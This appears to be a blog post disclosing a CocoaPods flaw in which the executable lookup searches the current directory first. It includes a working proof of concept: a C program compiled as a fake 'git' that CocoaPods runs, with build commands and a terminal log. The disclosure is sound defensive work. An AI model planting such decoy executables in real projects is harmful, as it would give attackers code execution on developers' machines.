Post

Disclosure: Local Executable Hijacking in CocoaPods via Unsafe Path Search

Disclosure: Local Executable Hijacking in CocoaPods via Unsafe Path Search

CocoaPods contains an unsafe executable resolution issue in Pod::Executable that may allow arbitrary command execution when running CocoaPods commands inside a directory containing attacker-controlled files.

The vulnerable logic prepends the current working directory (./) to the executable search path before trusted system locations. If a malicious repository contains a fake executable such as git, tar, or another binary invoked by CocoaPods, that file may be executed instead of the legitimate system binary.

This can lead to local code execution in the context of the user running CocoaPods.


Affected Component

  • Package: CocoaPods
  • Module: Pod::Executable
  • File: lib/cocoapods/executable.rb

Reference:
https://github.com/CocoaPods/CocoaPods/blob/master/lib/cocoapods/executable.rb#L91-L106


Technical Details

The which method used by CocoaPods to locate external programs inserts ./ at the beginning of the search path:

1
2
3
4
program = program.to_s
paths = ENV.fetch('PATH') { '' }.split(File::PATH_SEPARATOR)
paths.unshift('./')
paths.uniq!

Because the current directory is searched first, CocoaPods may execute a local file matching the expected executable name before checking trusted system locations such as:

  • /usr/bin
  • /bin
  • /usr/local/bin

If a repository or working directory contains a malicious executable named git, CocoaPods may invoke that file during normal operations.


Impact

Successful exploitation may allow arbitrary code execution with the privileges of the user running CocoaPods.

Potential impact includes:

  • Execution of attacker-controlled commands
  • Theft of local credentials or SSH keys
  • Source code exfiltration
  • Local environment compromise
  • Abuse of developer permissions

Attack Requirements

An attacker must convince a victim to run CocoaPods commands from a directory containing a malicious executable.

Example scenarios:

  • Cloning and opening a malicious repository
  • Extracting an untrusted project archive
  • Working inside a compromised shared directory

Proof of Concept

Create a fake git executable:

1
2
3
4
5
6
#include <unistd.h>

int main() {
    execl("/usr/bin/id", "id", (char *)NULL);
    return 0;
}

Compile:

1
2
gcc git.c -o git
chmod +x git

Run from the same directory:

1
pod --help

CocoaPods will invoke the local ./git binary when attempting to execute git --version.

1
2
3
4
5
6
7
8
9
snoopy@snoopy-MacBookPro11-4:~/cctest_rb$ pod --help
/home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/lib/cocoapods/command.rb:128:in `git_version': Failed to extract git version from `git --version` ("uid=1000(snoopy) gid=1000(snoopy) groups=1000(snoopy),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),124(docker)\n") (RuntimeError)
	from /home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/lib/cocoapods/command.rb:140:in `verify_minimum_git_version!'
	from /home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/lib/cocoapods/command.rb:49:in `run'
	from /home/snoopy/.gem/ruby/3.0.0/gems/cocoapods-1.16.2/bin/pod:55:in `<top (required)>'
	from /home/snoopy/.rbenv/versions/3.2.4/lib/ruby/site_ruby/3.2.0/rubygems.rb:304:in `load'
	from /home/snoopy/.rbenv/versions/3.2.4/lib/ruby/site_ruby/3.2.0/rubygems.rb:304:in `activate_and_load_bin_path'
	from /home/snoopy/.gem/ruby/3.0.0/bin/pod:25:in `<main>'
snoopy@snoopy-MacBookPro11-4:~/cctest_rb$ 

Remediation

Maintainers were contacted months ago, and a PR was also open in public - https://github.com/CocoaPods/CocoaPods/pull/12899. This package is not maintained.

Timeline

  • Vendor notified: 09/03/2026
  • 1st follow up: 27/03/2026
  • Public PR open and 2nd follow up: 02/04/2026
  • Public disclosure: 22/04/20206
This post is licensed under CC BY 4.0 by the author.